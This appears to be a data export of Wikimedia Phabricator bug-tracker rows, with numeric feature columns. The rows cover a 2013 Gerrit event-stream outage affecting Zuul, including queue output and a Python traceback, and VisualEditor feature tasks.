  88 tasks",,,1365250715,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-13,,0.0,0.0,0.0,0.0,0.0,0.5,0.125,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.125,0.875,0.5,0.0,0.0,0.0,0.125,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,5.375,0.125,0.0,0.125,0.0,0.0,0.0,0.0,0.125,0.0,0.0,0.125,0.125,0.0,0.0,0.0,0.0,0.0,7.375,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.125,12.0,0.125,0.125,0.25,0.0,0.0,0.0,0.0,0.25,0.0,4.125,0.0,0.125,0.5,13.75,0.0,0.0,0.0,0.125,0.0,0.0,0.0,0.0,8.75,0.125,0.0,4.875,10.481723352033661,0.36747604020570357,"Restarted again, since stram-events hung. The output from the queue is kind of weird & concerning:

$ ssh gerrit.wikimedia.org gerrit show-queue -w
Task     State                 Command
------------------------------------------------------------------------------
9c0dc448                       com.google.gerrit.sshd.commands.StreamEvents$3@6435207f
85d6cd95                       com.google.gerrit.sshd.commands.StreamEvents$3@5be8a53e
c54125b8                       com.google.gerrit.sshd.commands.StreamEvents$3@6b8b896
a0d428db                       com.google.gerrit.sshd.commands.StreamEvents$3@495e834c
0323c3c0                       com.google.gerrit.sshd.commands.StreamEvents$3@5bfe1835
49cc90ac                       com.google.gerrit.sshd.commands.StreamEvents$3@6e76ec2
e9bf84a4                       com.google.gerrit.sshd.commands.StreamEvents$3@44188618
4617a0ff                       com.google.gerrit.sshd.commands.StreamEvents$3@260bb495
5e8f7686                       com.google.gerrit.sshd.commands.StreamEvents$3@4a7cb5b6
fe9f4ab9 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@40811f5d
3e416208 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7194d12c
1e449e17 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5d3233c0
de9a86cc waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7efe402f
9ea40e12 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@ae3b20d
bea9d2e8 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6abe7910
be3472ba waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6130d9f5
5e4a1628 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4e3595ac
1915a152 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@417de5ee
3943c55a waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1ff57751
9938b1f3 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5a31e6f7
f911ad68 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2329064
593eb9dd waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@f04a851
9982f1fc waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@30828dd9
665afa9e waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2c6c773b
066e9e41 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@507d946
23f714d9 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4b2eba70
0ff474d2 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@68d2359f
6fc0906b waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@40be8f7c
835cc5a8 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1ebe3719
63619163 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5a135a13
c3563d8b waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2c7ec398
a35b09b3 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@365b46fa
0370d533 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2290e2f7
e36ca160 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5624d7db
436a4d46 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@cd7970c
23671980 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1dfd9b6a
63fd11f8 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@74e65b87
83fda551 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3f833806
5d722e74 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3fd3327d
bd77aa62 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4297cd47
9d7c2648 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7c261278
bdab2a74 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2786c3f5
baa810b1 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@ab1e19
7f44cb17 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6244fba6
bf4ec337 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@194923d6
df493731 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@10cfc392
ff2f5b61 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4649853e
1f334fd3 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4cacd7f
7f160b2c waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1ee581b1
046d445a waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6da59b4f
64b8c066 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@137797c6
848db42c waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@108d5226
4926f573 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2e0c4547
8bfdc551 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1e794f4e
2b8db900 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2e459983
6b02d146 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@27984fef
cb073d54 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5b617f30
ab0c4979 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5de5572e
eb0d6177 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@45a5965c
0b11d594 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7a3295bc
783069a2 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@a7e838
46810952 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@f7eb4de
267e5542 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7bbebd2a
868b8174 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@27754fde
c694199b waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6ce8c0f
6688cd79 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@624d3046
c6e3b962 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@479462c4
06f1d196 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5ee05692
554535c0 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3830aedd
b235a762 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4284bfd
f23f9f40 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@399c7615
923ae350 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4f0c7a3f
d244dbcb waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7ac6658a
3249b7e2 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@773485fe
7253af98 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3c2de6a4
1246f3d4 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@698137d9
5250eb8b waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5a53bbe7
5288eb78 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2f556905
cc3d20e4 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1061df8a
2c32bc16 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2279bdac
0c2fb8ac waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@669378e2
0c5a59a0 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@66280ecb
6c4e75e4 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4fe365d2
4c4b71d4 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@99ae56d
f650f82e waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@184c5c08
e71cc87a waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3d2e1dae
d36dcb8e 12:18:22.186          push gerritslave@formey.wikimedia.org:/var/lib/gerrit2/review_site/git/mediawiki/extensions/FundraisingEmailUnsubscribe.git
da7faee1 19:42:45.214          Log File Compressor
------------------------------------------------------------------------------
  88 tasks"
207570,Zuul: Gerrit's ssh event stream unavailable,"(In reply to comment #4)
> Ariel restarted Gerrit on manganese. That unbroken the stream-events thus
> cleaning the issue.

Thanks. Lowering priority.",,,1365156991,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.2222222222222223,0.8333333333333334,"(In reply to comment #4)
QUOTE
QUOTE

Thanks. Lowering priority."
207565,Zuul: Gerrit's ssh event stream unavailable,"Ariel restarted Gerrit on manganese. That unbroken the stream-events thus cleaning the issue.

I am leaving this bug open for monitoring / investigation.  There must be some regression in Gerrit since we upgraded it yesterday.",,,1365154819,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,9.0,0.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,9.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.488372093023256,0.8837209302325582,"Ariel restarted Gerrit on manganese. That unbroken the stream-events thus cleaning the issue.

I am leaving this bug open for monitoring / investigation.  There must be some regression in Gerrit since we upgraded it yesterday."
207556,Zuul: Gerrit's ssh event stream unavailable,Restarted Zuul just in case: nothing. Definitely on Gerrit side.,,,1365154404,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.230769230769231,0.9230769230769231,Restarted Zuul just in case: nothing. Definitely on Gerrit side.
207547,Zuul: Gerrit's ssh event stream unavailable,"Gerrit has been upgraded with https://gerrit.wikimedia.org/r/#/c/57508/
Which got merged on Apr 4, 2013 20:29 (UTC).

Apparently Gerrit got restarted at 20:44 (UTC), the Zuul log shows errors 500 at that time.

The last event received by Zuul was on 2013-04-05 04:26:56 (UTC) then the JSON events cant be decoded / are not received:

2013-04-05 04:29:46,092 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
Traceback (most recent call last):
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 68, in _run
    self._listen(stdout, stderr)
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 52, in _listen
    self._read(stdout)
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 39, in _read
    data = json.loads(l)
  File ""/usr/lib/python2.7/json/__init__.py"", line 326, in loads
    return _default_decoder.decode(s)
  File ""/usr/lib/python2.7/json/decoder.py"", line 366, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File ""/usr/lib/python2.7/json/decoder.py"", line 384, in raw_decode
    raise ValueError(""No JSON object could be decoded"")
ValueError: No JSON object could be decoded",,,1365154348,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,5.333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,1.0,2.0,9.333333333333334,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,7.0,0.0,0.3333333333333333,5.333333333333333,16.333333333333332,0.0,4.333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,3.7629966329966327,0.47484848484848485,"Gerrit has been upgraded with URL
Which got merged on Apr 4, 2013 20:29 (UTC).

Apparently Gerrit got restarted at 20:44 (UTC), the Zuul log shows errors 500 at that time.

The last event received by Zuul was on 2013-04-05 04:26:56 (UTC) then the JSON events cant be decoded / are not received:

2013-04-05 04:29:46,092 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
Traceback (most recent call last):
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 68, in _run
    self._listen(stdout, stderr)
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 52, in _listen
    self._read(stdout)
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 39, in _read
    data = json.loads(l)
  File ""/usr/lib/python2.7/json/__init__.py"", line 326, in loads
    return _default_decoder.decode(s)
  File ""/usr/lib/python2.7/json/decoder.py"", line 366, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File ""/usr/lib/python2.7/json/decoder.py"", line 384, in raw_decode
    raise ValueError(""No JSON object could be decoded"")
ValueError: No JSON object could be decoded"
207539,Zuul: Gerrit's ssh event stream unavailable,This is a major regression in our development workflow.,,,1365153289,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-13,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,4.7,1.0,This is a major regression in our development workflow.
48618,VisualEditor: Normalize all preservation to use HTML store,"All HTML preservation should be changed to store the full HTML of the node/annotation and use the HTML store. This means removing the html/* attributes from nodes, and the strange things (original tag name and attributes) we put in annotations.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1364432880,1370307483.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-pi36geznysiuvpgm2xg5,task_description,invalid,True,c1,1,False,False,True,-14,,2.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,11.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,6.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.196969696969697,0.6818181818181818,"All HTML preservation should be changed to store the full HTML of the node/annotation and use the HTML store. This means removing the html/* attributes from nodes, and the strange things (original tag name and attributes) we put in annotations.

--------------------------
**Version**: unspecified
**Severity**: normal"
214724,VisualEditor: Normalize all preservation to use HTML store,Roan tells me we went in a different direction with this.,,,1370307483,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pi36geznysiuvpgm2xg5,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,3.9166666666666665,1.0,Roan tells me we went in a different direction with this.
214721,VisualEditor: Normalize all preservation to use HTML store,This also needs corresponding changes in the CE code for whitelisted rendering.,,,1364433518,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-pi36geznysiuvpgm2xg5,task_subcomment,,True,c1,1,False,,,-14,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.230769230769231,1.0,This also needs corresponding changes in the CE code for whitelisted rendering.
48521,Create a VisualEditor plugin tool to insert/edit references to Wikidata queries,"Though T41598 will mean that VisualEditor will be able to edit infoboxes as they are now (alongside other templates), in the near-future Wikidata will replace a great many of the entries in these infoboxes with Wikidata queries (syntax still to be locked down).

For the VisualEditor to be truly useful for users in this context, users should be able to:
* add, review, modify and remove references to existing Wikidata queries;
* add or amend arbitrary Wikidata queries for the above; and
* do so in both VisualEditor-mode contexts (paragraphs of text etc.) and wikitext-mode contexts (like the template dialog as it will initially be).

--------------------------
**See Also**:
{T41598}",Medium,50.0,1364168100,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-wlq23wlr4vjsce4a5eom,task_description,open,True,c1,1,True,False,,-15,,0.5,0.0,0.0,0.5,0.0,5.0,1.5,0.0,0.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.5,0.0,2.0,0.5,0.0,0.0,1.5,0.5,0.0,1.5,0.0,2.0,0.0,0.5,1.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.5,12.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,3.0,7.5,1.0,2.5,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,11.5,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.5,3.9926878933728247,0.7210292484265086,"Though T41598 will mean that VisualEditor will be able to edit infoboxes as they are now (alongside other templates), in the near-future Wikidata will replace a great many of the entries in these infoboxes with Wikidata queries (syntax still to be locked down).

For the VisualEditor to be truly useful for users in this context, users should be able to:
* add, review, modify and remove references to existing Wikidata queries;
* add or amend arbitrary Wikidata queries for the above; and
* do so in both VisualEditor-mode contexts (paragraphs of text etc.) and wikitext-mode contexts (like the template dialog as it will initially be).

--------------------------
**See Also**:
{T41598}"
650873,Create a VisualEditor plugin tool to insert/edit references to Wikidata queries,Is this task related to {T131661} or vice versa?,,,1461569518,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-wlq23wlr4vjsce4a5eom,task_subcomment,,True,c1,3,False,,,147,,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Is this task related to {T131661} or vice versa?
650673,Create a VisualEditor plugin tool to insert/edit references to Wikidata queries,"[[ https://de.wikipedia.org/wiki/Wikipedia_Diskussion:Wikidata#Listenerstellung | Here ]] I made a detailed proposal for a mechanism to edit Wikidata claims in every mode you can view a page. (wikitext, visual editor, preview, view).

If you are interested, I can transakte it form German to English.",,,1461510555,,PHID-USER-4z6eerx3m7iocsrcpku5,True,,,PHID-TASK-wlq23wlr4vjsce4a5eom,task_subcomment,,True,c1,3,False,,,146,,2.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,15.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,9.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,3.462962962962963,0.7407407407407407,"[[ URL | Here ]] I made a detailed proposal for a mechanism to edit Wikidata claims in every mode you can view a page. (wikitext, visual editor, preview, view).

If you are interested, I can transakte it form German to English."
650671,Create a VisualEditor plugin tool to insert/edit references to Wikidata queries,"[[ https://de.wikipedia.org/wiki/Wikipedia_Diskussion:Wikidata#Listenerstellung | Here ]] I made a detailed proposal for a mechanism to edit Wikidata claims in every mode you can view a page. (wikitext, visual editor, preview, view)",,,1461510510,,PHID-USER-4z6eerx3m7iocsrcpku5,True,,,PHID-TASK-wlq23wlr4vjsce4a5eom,task_subcomment,,True,c1,3,False,,,146,,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,8.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,3.4210526315789473,0.8157894736842105,"[[ URL | Here ]] I made a detailed proposal for a mechanism to edit Wikidata claims in every mode you can view a page. (wikitext, visual editor, preview, view)"
208413,Create a VisualEditor plugin tool to insert/edit references to Wikidata queries,I consider this very important. We'll unfortunately not be able to dedicate resources to this in the near future. Does your team have them? We should discuss in this case how exactly this should all look like in the end.,,,1383578295,,PHID-USER-7n5fvppwj4ueprv2iuys,True,,,PHID-TASK-wlq23wlr4vjsce4a5eom,task_subcomment,,True,c1,3,True,,,18,,2.0,0.0,2.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,7.0,0.0,13.0,13.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,13.0,0.0,2.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.022222222222222,0.7555555555555555,I consider this very important. We'll unfortunately not be able to dedicate resources to this in the near future. Does your team have them? We should discuss in this case how exactly this should all look like in the end.
208405,Create a VisualEditor plugin tool to insert/edit references to Wikidata queries,[replacing wikidata keyword by adding CC - see bug 56417],,,1383221707,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-wlq23wlr4vjsce4a5eom,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,4.0,1.0,[replacing wikidata keyword by adding CC - see bug 56417]
48464,VisualEditor: Annotation API fixes,"* Make toHTML() return real DOM nodes, we don't need the weird construction for CE any more
* Pass in the content so it's possible to have rules like ""if the annotation only covers whitespace, strip it""

--------------------------
**Version**: unspecified
